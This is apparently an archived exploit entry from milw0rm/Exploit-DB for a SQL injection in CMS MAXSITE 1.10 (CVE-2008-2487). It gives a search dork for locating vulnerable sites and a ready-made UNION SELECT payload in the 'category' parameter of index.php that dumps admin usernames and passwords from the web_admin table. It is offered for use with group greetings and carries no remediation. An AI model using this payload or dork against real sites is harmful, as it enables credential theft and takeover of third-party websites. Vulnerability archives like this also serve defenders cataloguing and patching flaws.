CMS MAXSITE 1.10 - 'category' SQL Injection

Author: Tesz
type: webapps
platform: php
port: 
date_added: 2008-05-25 
date_updated: 2016-11-30 
verified: 1 
codes: OSVDB-45638;CVE-2008-2487 
tags: 
aliases:  
screenshot_url:  
application_url: 

#########################################################################

CMS MAXSITE Remote SQL Injection Exploit <= 1.10

#########################################################################


[+] Author: Tesz [@] THD
[+] Home: http://www.thaishadow.com
[+] Forum: http://www.thaishadow.com/board/index.php

[+] Download: http://maxsite.geniuscyber.com/index.php?name=index

[+] Dork: MAXSITE or intitle:"MAXSITE"

[+] Exploit: http://server.com/path/index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] index.php?name=webboard&category=1+and+1=2+union+select+concat(username,0x3A,password)+from+web_admin/*

[+] Greetz: krit,Exploiters,PongZ,{OHM},Usermode,windows98SE,azazel,Mr`Ping,Os555,[T]he[S]hak
[+] Special Thx: THD (Thaishadow Team)


###########################################################################

# milw0rm.com [2008-05-26]